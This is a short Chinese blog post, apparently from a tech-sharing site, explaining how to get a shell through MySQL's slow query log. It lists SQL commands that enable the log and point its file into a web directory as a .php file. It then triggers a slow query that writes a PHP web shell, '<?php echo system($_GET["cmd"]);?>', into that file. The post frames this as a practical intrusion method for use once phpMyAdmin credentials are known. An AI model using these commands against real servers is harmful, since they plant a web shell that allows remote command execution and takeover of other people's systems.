您的位置:首页 > 运维架构 > Shell

mysql慢查询日志getshell

2020-03-31 18:45 4792 查看

0x00 前言

1.实战场景

  • 目标站点存在phpMyAdmin和l.php探针
  • 知道mysql登录密码
  • secure_file_priv未开启

0x01 正文

如果登录了phpMyadmin没有办法直接写入文件,可以使用慢查询日志来进行文件写入。
关于慢查询日志相关知识点可以参考 https://www.geek-share.com/detail/2702031320.html
简单的说就是在mysql中,查询超过10秒的语句会被写到慢查询日志文件中去,一般默认是不开启的。利用这个特性就可以进行文件写入。

1.利用过程

首先查询slow的配置。

show variables like '%slow_query_log%';

首先是开启日志

set global slow_query_log=1;


然后设置log日志的位置,设置为web目录下

set global slow_query_log_file='C:\\phpStudy\\WWW\\cs.php';


查看下是否修改成功

show variables like '%slow_query_log%';


触发慢查询日志

select  '<?php echo system($_GET["cmd"]);?>' or sleep(11);


访问设置好的目录,可以看到已经成功了,getshell同理。

  • 点赞
  • 收藏
  • 分享
  • 文章举报
HAI_WD 发布了57 篇原创文章 · 获赞 0 · 访问量 3163 私信 关注
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: